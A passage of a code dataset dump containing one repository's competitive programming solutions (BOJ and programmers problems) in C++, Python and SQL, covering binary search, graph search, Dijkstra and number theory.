0;\n}"},{"alpha_fraction":0.4482225775718689,"alphanum_fraction":0.4822256565093994,"avg_line_length":17.514286041259766,"blob_id":"3eeb34fb313039ba890db7b88a36ce1a5ec30912","content_id":"3e791af8aa138b5b396c30ea94ec2863160b1adc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":695,"license_type":"no_license","max_line_length":84,"num_lines":35,"path":"/BOJ/Binary Search/1300.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1300번: K번째 수\nDATE: 2022-02-09\nBinary Search\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long n, k;\n long long left, right, mid, ans;\n\n cin >> n >> k;\n\n left = 0; right = n * n;\n\n while(left <= right) {\n long long cnt = 0;\n mid = (left + right) / 2; // K번째 수를 mid라고 설정\n\n for(int i = 1 ; i <= n ; i++) cnt += min(mid / i, n); // mid보다 작거나 같은 숫자의 개수\n\n if(cnt < k) left = mid + 1;\n else {\n right = mid - 1;\n ans = mid; \n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4008843004703522,"alphanum_fraction":0.4340457022190094,"avg_line_length":21.633333206176758,"blob_id":"df75b3a3ef5c9c645d3193fc893d9c3ffa7d65f4","content_id":"dcbfb95dac265b209d930c0363b9bfc4ef86dbfd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1357,"license_type":"no_license","max_line_length":55,"num_lines":60,"path":"/programmers/Level 2/tuple.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 2 : Tuple\n//2019 KAKAO Winter Internship\n//2021-05-07\n#include <string>\n#include <vector>\n#include <iostream>\n#include <algorithm>\n#include <map>\nusing namespace std;\n\nbool cmp(vector<int> a, vector<int> b){\n return a.size() < b.size();\n}\n\nvector<int> solution(string s) {\n vector<vector<int>> tmp1;\n vector<int> answer, tmp2;\n map<int, int> m;\n string ss;\n\n for(int i = 0 ; i < s.length() ; i++){\n if(s[i] != '{' && s[i] != '}' && s[i] != ','){ \n ss += s[i];\n }\n else if(s[i] == ',' && s[i + 1] != '{'){\n tmp2.push_back(atoi(ss.c_str()));\n ss=\"\";\n }\n else if(s[i] == '}' && s[i + 1] != '}'){\n tmp2.push_back(atoi(ss.c_str()));\n tmp1.push_back(tmp2);\n tmp2.clear();\n ss=\"\";\n }\n }\n \n sort(tmp1.begin(), tmp1.end(), cmp);\n\n for(int i = 0 ; i < tmp1.size() ; i++){\n for(int j = 0 ; j < tmp1[i].size() ; j++){\n if(m[tmp1[i][j]] > 0)\n continue;\n answer.push_back(tmp1[i][j]);\n m[tmp1[i][j]]++;\n }\n }\n\n return answer;\n}\n\nint main(){\n string s = \"{{2},{2,1},{2,1,3},{2,1,3,4}}\";\n vector <int> answer = solution(s);\n \n for(int i = 0 ; i < answer.size(); i++){\n cout << answer[i] << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.45119306445121765,"alphanum_fraction":0.494577020406723,"avg_line_length":16.769229888916016,"blob_id":"be9600bb159ddc8967d67512146afa2879e89e1f","content_id":"dd4b2896f18e5596b107c6eb2f30ec8652c6a040","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":469,"license_type":"no_license","max_line_length":67,"num_lines":26,"path":"/programmers/Level 1/find_prime_number.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 소수 찾기\ndate: 2022-05-26\n*/\n#include <string>\n#include <vector>\n#include <math.h>\nusing namespace std;\n\nint isNotPrime[1000001];\n\nint solution(int n) {\n int answer = 0;\n \n for(int i = 2 ; i <= sqrt(n) ; i++){\n if(!isNotPrime[i]) {\n for(int j = i * i ; j <= n ; j += i) isNotPrime[j] = 1;\n }\n }\n \n for(int i = 2 ; i <= n ; i++){\n if(!isNotPrime[i]) answer++;\n }\n \n return answer;\n}"},{"alpha_fraction":0.43414634466171265,"alphanum_fraction":0.46097561717033386,"avg_line_length":20.63157844543457,"blob_id":"6ccdc02b544af2226e97b13cc1435bcf50391008","content_id":"8fec4e02e5b2f5f489e65931d74b2150e5e0b900","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":418,"license_type":"no_license","max_line_length":56,"num_lines":19,"path":"/programmers/Level 3/network.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 3: 네트워크\n# date: 2022-04-15\ndef solution(n, computers):\n answer = 0\n visited = [False] * n\n \n def dfs(i, n):\n visited[i] = True;\n\n for j in range(n):\n if(computers[i][j] and visited[j] == False):\n dfs(j, n)\n \n for i in range(n):\n if not visited[i]:\n answer += 1;\n dfs(i, n)\n \n return answer"},{"alpha_fraction":0.41563186049461365,"alphanum_fraction":0.44241538643836975,"avg_line_length":21.822221755981445,"blob_id":"664318206c8c2f6f538d8665d22b3f44750e4520","content_id":"0d6f88b371c2cf94c6d92dd6c12185f6fac37eb1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":4133,"license_type":"no_license","max_line_length":88,"num_lines":180,"path":"/BOJ/Implementation/21608.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 21608번: 상어 초등학교\nDATE: 2021-11-08\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <cmath>\n#define MAX 20\nusing namespace std;\nvector<int> v[MAX * MAX];\nvector<pair<int,int>> location_1, location_2;\nint classroom[MAX][MAX];\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\nint n;\n\nint getLikeStd(int x, int y, vector<int> like){\n int cnt = 0;\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\n if(find(like.begin(), like.end(), classroom[nx][ny]) != like.end()) {\n cnt++;\n }\n }\n\n return cnt;\n}\n\nint getEmptyCount(int x, int y) {\n int cnt = 0;\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n ) continue;\n if(classroom[nx][ny] == 0) cnt++;\n }\n\n return cnt;\n}\n\nint step1(int num, int student) {\n vector<int> like;\n int maxNum = -1, maxCnt = 0, x = 0, y = 0;\n\n for(int i = 1 ; i <= 4 ; i++) like.push_back(v[num][i]);\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n if(classroom[i][j] > 0) continue;\n int cnt = getLikeStd(i, j, like);\n \n if(cnt > maxNum) {\n maxNum = cnt;\n maxCnt = 0;\n location_1.clear();\n location_1.push_back(make_pair(i, j));\n x = i; y = j;\n }\n else if(cnt == maxNum) {\n maxCnt++;\n location_1.push_back(make_pair(i, j));\n }\n }\n }\n \n if(maxCnt == 0) {\n classroom[x][y] = student;\n return 1;\n }\n else return 0;\n}\n\nint step2(int num, int student) {\n vector<int> like;\n int maxNum = -1, maxCnt = 0, x, y;\n\n for(int i = 1 ; i <= 4 ; i++) like.push_back(v[num][i]);\n\n for(int i = 0 ; i < location_1.size() ; i++) {\n int cnt = getEmptyCount(location_1[i].first, location_1[i].second);\n \n if(cnt > maxNum) {\n maxNum = cnt;\n maxCnt = 0;\n location_2.clear();\n location_2.push_back(make_pair(location_1[i].first, location_1[i].second));\n x = location_1[i].first; y = location_1[i].second;\n }\n else if(cnt == maxNum) {\n maxCnt++;\n location_2.push_back(make_pair(location_1[i].first, location_1[i].second));\n }\n }\n\n if(maxCnt == 0) {\n classroom[x][y] = student;\n return 1;\n }\n else return 0;\n}\n\nvoid step3(int num, int student) {\n vector<pair<int,int>> rowCol;\n int x, y;\n\n for(int i = 0 ; i < location_2.size() ; i++) {\n rowCol.push_back(make_pair(location_2[i].first, location_2[i].second));\n }\n\n sort(rowCol.begin(), rowCol.end());\n\n x = rowCol[0].first;\n y = rowCol[0].second;\n\n classroom[x][y] = student;\n return;\n}\n\nint calcVal(int x, int y, int num) {\n int idx, cnt = 0;\n\n for(int i = 0 ; i < n * n ; i++) {\n if(v[i][0] == num) {\n idx = i;\n }\n }\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\n if(find(v[idx].begin(), v[idx].end(), classroom[nx][ny]) != v[idx].end()) cnt++;\n }\n\n return cnt; \n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b, ans = 0;\n cin >> n;\n\n for(int i = 0 ; i < n * n ; i++) {\n cin >> a;\n v[i].push_back(a);\n\n for(int j = 0 ; j < 4 ; j++) { // 좋아하는 학생\n cin >> b;\n v[i].push_back(b);\n }\n }\n\n for(int i = 0 ; i < n * n ; i++) {\n int idx;\n idx = v[i][0];\n\n if(step1(i, idx)) continue;\n if(step2(i, idx)) continue;\n step3(i, idx);\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n int cnt = calcVal(i, j, classroom[i][j]);\n if (cnt > 0) ans += pow(10, cnt - 1);\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.33816424012184143,"alphanum_fraction":0.3719806671142578,"avg_line_length":17.294116973876953,"blob_id":"48e91a14b06c536341ddef627c437bab4b1ed7e1","content_id":"4453bcb9db961aa8a6d1a87870c4e1019fad27f8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":637,"license_type":"no_license","max_line_length":58,"num_lines":34,"path":"/BOJ/Implementation/14235.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14235번: 크리스마스 선물\n2022-01-14\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n priority_queue<int> pq;\n int n, a, num;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> a;\n\n if(a > 0){\n for(int j = 0 ; j < a ; j++){\n cin >> num;\n pq.push(num);\n }\n }\n else{\n if(pq.empty()) cout << -1 << '\\n';\n else {\n cout << pq.top() << '\\n';\n pq.pop();\n }\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.3947368562221527,"alphanum_fraction":0.4254385828971863,"avg_line_length":18.571428298950195,"blob_id":"8e767093ee385f313a46f0973e41ef290636ec4a","content_id":"fb60dd4dd4a6bc37b7794b092d5618ae205a710e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":688,"license_type":"no_license","max_line_length":63,"num_lines":35,"path":"/BOJ/Mathematics/9613.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9613번: GCD 합\nDATE: 2022-01-24\nEuclidean algorithm\n*/\n#include <iostream>\nusing namespace std;\n\nlong long gcd(int a, int b){\n return b ? gcd(b, a % b): a;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int tc, n;\n cin >> tc;\n\n for(int i = 0 ; i < tc ; i++){\n cin >> n;\n long long arr[n], sum = 0;\n\n for(int j = 0 ; j < n ; j++) cin >> arr[j];\n\n for(int j = 0 ; j < n ; j++){\n for(int k = j + 1 ; k < n ; k++){\n if(arr[j] > arr[k]) sum += gcd(arr[j], arr[k]);\n else sum += gcd(arr[k], arr[j]);\n }\n }\n\n cout << sum << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.6203208565711975,"alphanum_fraction":0.6541889309883118,"avg_line_length":22.375,"blob_id":"fe50943633c2dfc5448ac89b5416816acdb58904","content_id":"d5ec00616e1ac7b9f0e3d2ec640e59d5905973c2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":607,"license_type":"no_license","max_line_length":93,"num_lines":24,"path":"/programmers/SQL/ETC.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"**[1. 우유와 요거트가 담긴 장바구니 (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/62284)**\n\n```sql\nSELECT DISTINCT A.CART_ID\nFROM CART_PRODUCTS A INNER JOIN CART_PRODUCTS B ON A.CART_ID = B.CART_ID\nWHERE (A.NAME IN ('Milk', 'Yogurt') and B.NAME IN ('Milk', 'Yogurt')) and A.NAME != B.NAME\nORDER BY A.CART_ID\n```\n\n<br/>\n\n**[2. 헤비 유저가 소유한 장소 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/77487)**\n\n```sql\nSELECT *\nFROM PLACES\nWHERE HOST_ID IN (\n SELECT HOST_ID\n FROM PLACES\n GROUP BY HOST_ID\n HAVING COUNT(*) >= 2\n)\nORDER BY ID\n```\n"},{"alpha_fraction":0.32755032181739807,"alphanum_fraction":0.367106169462204,"avg_line_length":19.309858322143555,"blob_id":"d7bd065709d781e35ebe6e71c545af9bc87ea9e1","content_id":"34b22d39d7ce7186be48b34860a3a2920edd66d6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1451,"license_type":"no_license","max_line_length":99,"num_lines":71,"path":"/BOJ/BFS_DFS/4963.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 4963번: 섬의 개수\nDATE: 2022-02-02\nBFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 50\nusing namespace std;\n\nint w, h;\nint arr[MAX][MAX];\nbool visited[MAX][MAX];\nint dx[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\nint dy[8] = {0, 1, 1, 1, 0, -1, -1, -1};\n\nvoid bfs(int x, int y) {\n queue<pair<int,int>> q;\n\n q.push({x, y});\n visited[x][y] = 1;\n\n while(!q.empty()){\n x = q.front().first;\n y = q.front().second;\n q.pop();\n\n for(int i = 0 ; i < 8 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= h || ny >= w || visited[nx][ny] || !arr[nx][ny]) continue;\n\n q.push({nx, ny});\n visited[nx][ny] = 1;\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n \n while(1) {\n cin >> w >> h;\n\n if(w == 0 && h == 0) break;\n int ans = 0;\n\n for(int i = 0 ; i < h ; i++) {\n for(int j = 0 ; j < w ; j++) {\n cin >> arr[i][j];\n }\n }\n\n for(int i = 0 ; i < h ; i++) {\n for(int j = 0 ; j < w ; j++) {\n if(arr[i][j] && !visited[i][j]) {\n bfs(i, j);\n ans++;\n }\n }\n }\n\n cout << ans << '\\n';\n\n fill(&arr[0][0], &arr[h - 1][w], 0);\n fill(&visited[0][0], &visited[h - 1][w], false);\n }\n\n return 0;\n}"},{"alpha_fraction":0.4458955228328705,"alphanum_fraction":0.4670397937297821,"avg_line_length":21.041095733642578,"blob_id":"a8a917540ec52a6f4c006fbc3bfdfe33bbbf9f9d","content_id":"4c885d8b741a4250527502fe70cbe54a4c119954","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1630,"license_type":"no_license","max_line_length":94,"num_lines":73,"path":"/BOJ/Dijkstra/10282.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10282번: 해킹\nDATE: 2022-01-11\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#include <algorithm>\n#define MAX 10001\n#define INF 1e9\nusing namespace std;\n\nvector<pair<int,int>> graph[MAX];\nint dst[MAX];\n\nvoid dijkstra(int start){\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 거리, 노드\n\n pq.push({0, start});\n dst[start] = 0;\n\n while(!pq.empty()){\n int distance = pq.top().first;\n int cur = pq.top().second;\n pq.pop();\n\n if(distance > dst[cur]) continue;\n for(int i = 0 ; i < graph[cur].size() ; i++){\n int newDistance = graph[cur][i].second;\n int next = graph[cur][i].first;\n\n if(distance + newDistance < dst[next]){\n dst[next] = distance + newDistance;\n pq.push({dst[next], next});\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int t;\n int n, d, c;\n int a, b, s;\n cin >> t;\n\n for(int i = 0 ; i < t ; i++){\n cin >> n >> d >> c;\n\n for(int j = 0 ; j < d ; j++){\n cin >> a >> b >> s;\n graph[b].push_back({a, s}); // a가 b를 의존 \n }\n\n fill(dst, dst + n + 1, INF);\n dijkstra(c);\n \n int maximum = -1, cnt = 0;\n\n for(int j = 1 ; j <= n ; j++) {\n if(dst[j] == INF) continue;\n maximum = max(maximum, dst[j]);\n cnt++;\n }\n\n cout << cnt << \" \" << maximum << '\\n';\n\n for(int j = 1 ; j <= n ; j++) graph[j].clear();\n }\n\n return 0;\n}"},{"alpha_fraction":0.3928571343421936,"alphanum_fraction":0.41474655270576477,"avg_line_length":24.79207992553711,"blob_id":"84c21a9cccd00fb251d2f78f9ec7c31ece158c7a","content_id":"820841ba72e9ca16e60251b5e2dd6db0f1b13473","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2656,"license_type":"no_license","max_line_length":86,"num_lines":101,"path":"/programmers/Level 2/maximize_formula.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"//programmers Level 2 : Maximize formula\n//2020 KAKAO Internship\n//2021-04-30\n#include <string>\n#include <vector>\n#include <queue>\n#include <iostream>\nusing namespace std;\n\nvector<string> op, new_exp, cp;\npriority_queue<long long> pq;\nint n;\nlong long pArr[3] = {0,};\nbool check[4] = {false,};\n\nvoid permutation(int depth){\n if(depth == n){\n long long num;\n \n for(int i = 0 ; i < n ; i++){ //연산자 우선순위대로\n for(int j = 0 ; j < new_exp.size() ; j++){\n if(new_exp[j] == op[pArr[i] - 1]){ //연산자\n if(new_exp[j] == \"+\")\n num = stoll(new_exp[j-1]) + stoll(new_exp[j+1]); \n else if(new_exp[j] == \"-\")\n num = stoll(new_exp[j-1]) - stoll(new_exp[j+1]);\n else if(new_exp[j] == \"*\")\n num = stoll(new_exp[j-1]) * stoll(new_exp[j+1]);\n \n new_exp.insert(new_exp.begin() + (j+2), to_string(num));\n new_exp.erase(new_exp.begin() + (j-1), new_exp.begin() + (j + 2));\n \n j = -1;\n }\n }\n }\n \n num = stoll(new_exp[0]);\n pq.push(abs(num));\n \n new_exp = cp;\n \n return;\n }\n \n for(int i = 1 ; i <= n ; i++){\n if(!check[i]){\n check[i] = true;\n pArr[depth] = i;\n permutation(depth + 1);\n check[i] = false;\n }\n }\n}\n\nlong long solution(string expression) {\n long long answer = 0;\n int plus=0, minus=0, mul=0;\n string tmp;\n \n for(int i = 0 ; i < expression.length() ; i++){\n if(expression[i] != '*' && expression[i] != '+' && expression[i] != '-'){\n tmp += expression[i];\n if(i == expression.length() - 1)\n new_exp.push_back(tmp);\n }\n else{\n new_exp.push_back(tmp);\n tmp = expression[i];\n new_exp.push_back(tmp);\n tmp = \"\";\n }\n \n if(expression[i] == '+' && plus == 0){\n op.push_back(\"+\"); plus++;\n }\n else if(expression[i] == '-' && minus == 0){\n op.push_back(\"-\"); minus++;\n }\n else if(expression[i] == '*' && mul == 0){\n op.push_back(\"*\"); mul++;\n }\n }\n \n cp = new_exp;\n n = op.size(); //식에 존재하는 연산자 종류의 개수\n \n permutation(0);\n answer = pq.top();\n \n return answer;\n}\n\nint main(){\n long long ans;\n ans = solution(\"100-200*300-500+20\");\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.444726824760437,"alphanum_fraction":0.4803049564361572,"avg_line_length":20.29729652404785,"blob_id":"b3bea8df186a64dcc479d44f4ef34a3f95aa6c41","content_id":"021fcbff812c007121f1a8353b539532212d90dd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":821,"license_type":"no_license","max_line_length":58,"num_lines":37,"path":"/BOJ/Implementation/15927.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/* \nBOJ 15927번: 회문은 회문아니야!!\n2021-12-21\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str, front, back;\n bool flag = true;\n cin >> str;\n\n int length = str.length();\n \n front = str.substr(0, length / 2);\n\n if(length % 2 == 0) back = str.substr(length / 2);\n else back = str.substr(length / 2 + 1);\n\n reverse(back.begin(), back.end());\n\n if(front == back) { // 팰린드롬 O\n for(int i = 1 ; i < length ; i++) {\n if(str[i - 1] != str[i]) {\n cout << length - 1;\n flag = false;\n break;\n }\n }\n if(flag) cout << -1;\n }\n else cout << str.length(); // 팰린드롬 X\n \n return 0;\n}"},{"alpha_fraction":0.4695945978164673,"alphanum_fraction":0.5304054021835327,"avg_line_length":15.5,"blob_id":"c1ea345fe0f447c0f5aad2dec7888096c1b68134","content_id":"559651b232ca9adbb9866c096f0378eba62f86da","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":310,"license_type":"no_license","max_line_length":41,"num_lines":18,"path":"/BOJ/Mathematics/1735_1.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# 1735_1.py (gcd 함수 구현)\n# BOJ 1735: 분수 합\n# DATE: 2022-03-16\nimport sys\nread = sys.stdin.readline\n\ndef gcd(n, m):\n return n if m == 0 else gcd(m, n % m)\n \na, b = map(int, read().split())\nc, d = map(int, read().split())\n\nn = a * d + b * c\nm = b * d\n\ndiv = gcd(n, m)\n\nprint(n // div, m // div)"},{"alpha_fraction":0.42236024141311646,"alphanum_fraction":0.47204968333244324,"avg_line_length":19.1875,"blob_id":"c5bced023e2fbaa5132da1f3084d46a0a0a3e8ca","content_id":"24b94f0f0a818bf23773d43a1a5b8769d3f43af5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":336,"license_type":"no_license","max_line_length":43,"num_lines":16,"path":"/programmers/Level 2/remove_pair.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 2: 짝지어 제거하기\n# date: 2022-06-10\ndef solution(s):\n answer = -1\n list = []\n \n for i in s:\n if len(list) == 0 or list[-1] != i:\n list.append(i)\n elif list[-1] == i:\n list.pop()\n \n if len(list) > 0: answer = 0\n else: answer = 1\n \n return answer"},{"alpha_fraction":0.3726937174797058,"alphanum_fraction":0.4132841229438782,"avg_line_length":16.516128540039062,"blob_id":"c2ee8a13a114623a38f920d0c3f5be4afdf6d43f","content_id":"e69f7bf96303a4d60131fdeee70d058299aebff7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":556,"license_type":"no_license","max_line_length":58,"num_lines":31,"path":"/BOJ/Greedy/2828.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2828번: 사과 담기 게임\n2021-03-26\n*/\n#include <iostream>\n#include <cstdlib>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, a, dst=0, now = 1;\n cin >> n >> m >> a;\n\n for(int i = 0 ; i < a ; i++){\n int num;\n cin >> num;\n\n if(num > (now + m -1)){\n dst += num - (now + m -1);\n now = num - m + 1;\n }\n else if(num < now){\n dst += now - num;\n now = num;\n }\n }\n\n cout << dst;\n\n return 0;\n}"},{"alpha_fraction":0.5082417726516724,"alphanum_fraction":0.557692289352417,"avg_line_length":16.380952835083008,"blob_id":"cbf45ed529399f6ea56ca74d6a7179e6950a8c37","content_id":"669870feb755e3666b19f26fdc8dd3ff912e1fd8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":376,"license_type":"no_license","max_line_length":58,"num_lines":21,"path":"/BOJ/Mathematics/1850.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1850번: 최대공약수\nDATE: 2022-01-24\nEuclidean algorithm\n*/\n#include <iostream>\nusing namespace std;\n\nlong long gcd(long long a, long long b) {\n return b ? gcd(b, a % b) : a;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long a, b;\n cin >> a >> b;\n \n for(int i = 0 ; i < gcd(a, b) ; i++) cout << 1;\n\n return 0;\n}"},{"alpha_fraction":0.44692736864089966,"alphanum_fraction":0.48603352904319763,"avg_line_length":16.071428298950195,"blob_id":"97c27f87b866ed3b5e3fa049c02b09618f00df95","content_id":"01dab643e753a95108f21522df178a0c5d0ea95f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":732,"license_type":"no_license","max_line_length":58,"num_lines":42,"path":"/BOJ/BFS_DFS/11725.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11725번: 트리의 부모 찾기\nDATE: 2022-02-02\nDFS\n*/\n#include <iostream>\n#include <vector>\n#define MAX 100001\nusing namespace std;\n\nvector<int> graph[MAX];\nint n;\nint arr[MAX];\n\nvoid dfs(int node) {\n for(int i = 0 ; i < graph[node].size() ; i++) {\n int nextNode = graph[node][i];\n\n if(!arr[nextNode]) {\n arr[nextNode] = node;\n dfs(nextNode);\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b;\n cin >> n;\n\n for(int i = 0 ; i < n - 1 ; i++) {\n cin >> a >> b; \n graph[a].push_back(b);\n graph[b].push_back(a);\n }\n\n dfs(1);\n\n for(int i = 2 ; i <= n ; i++) cout << arr[i] << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.5020464062690735,"alphanum_fraction":0.5279672741889954,"avg_line_length":15.681818008422852,"blob_id":"9d0d12136cb9fb23aad5c185c1b6b9a41b72d38d","content_id":"4e2242cb0bbfdd6ac48468332c7385b2890f1a95","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":747,"license_type":"no_license","max_line_length":58,"num_lines":44,"path":"/BOJ/Mathematics/1747.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1747번: 소수&팰린드롬\n2021-12-26\n*/\n#include <iostream>\n#include <math.h>\n#include <algorithm>\nusing namespace std;\n\nbool isPrime(int num) {\n if (num < 2) return false;\n\n for(int i = 2 ; i <= sqrt(num) ; i++) {\n if(num % i == 0) return false;\n }\n\n return true;\n}\n\nbool checkPalindrome(string str) {\n string front, back;\n\n front = str;\n reverse(str.begin(), str.end());\n back = str;\n\n if(front == back) return true;\n else return false;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n for(int i = n ; ; i++) {\n if(isPrime(i) && checkPalindrome(to_string(i))){\n cout << i;\n break;\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.6327160596847534,"alphanum_fraction":0.6800411343574524,"avg_line_length":20.600000381469727,"blob_id":"ecf8f77b94fe6f40e0db2f72c91e1eb86edff2f9","content_id":"3ce3dbc6d954315120a09119037e811a73b29482","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1038,"license_type":"no_license","max_line_length":109,"num_lines":45,"path":"/programmers/SQL/GROUP BY.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# GROUP BY\n\n**[1. 고양이와 개는 몇 마리 있을까 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59040)**\n\n```sql\nSELECT ANIMAL_TYPE, COUNT(ANIMAL_TYPE) as COUNT\nFROM ANIMAL_INS\nGROUP BY ANIMAL_TYPE\nORDER BY ANIMAL_TYPE\n```\n\n<br/>\n\n**[2. 동명 동물 수 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59041)**\n\n```sql\nSELECT NAME, COUNT(NAME) as COUNT\nFROM ANIMAL_INS\nGROUP BY NAME\nHAVING COUNT(NAME) >= 2\nORDER BY NAME\n```\n\n<br/>\n\n**[3. 입양 시각 구하기(1) (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59412)**\n\n```sql\nSELECT HOUR(DATETIME) as HOUR, COUNT(HOUR(DATETIME)) as COUNT\nFROM ANIMAL_OUTS\nGROUP BY HOUR(DATETIME)\nHAVING HOUR > 8 and HOUR < 20\nORDER BY HOUR(DATETIME)\n```\n\n<br/>\n\n**[4. 입양 시각 구하기(2) (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/59413)**\n\n```sql\nSET @HOUR := -1;\nSELECT (@HOUR := @HOUR + 1) AS HOUR, (SELECT COUNT(*) FROM ANIMAL_OUTS WHERE HOUR(DATETIME) = @HOUR) AS COUNT\nFROM ANIMAL_OUTS\nWHERE @HOUR < 23\n```\n"},{"alpha_fraction":0.36328125,"alphanum_fraction":0.40234375,"avg_line_length":17.981481552124023,"blob_id":"5a147d7d4679caaa5789d9d3157e64d072eaf219","content_id":"31beab9809d508f20b66c469b5f631ae7408266a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1030,"license_type":"no_license","max_line_length":58,"num_lines":54,"path":"/BOJ/BFS_DFS/1926.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1926번: 그림\nDATE: 2022-02-03\nDFS\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 501\nusing namespace std;\n\nint n, m, maxVal = 0, cnt = 0;\nint arr[MAX][MAX];\nbool visited[MAX][MAX];\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\n\nvoid dfs(int x, int y) {\n visited[x][y] = true;\n cnt++;\n\n for(int i = 0 ; i < 4 ; i++){\n int nx = x 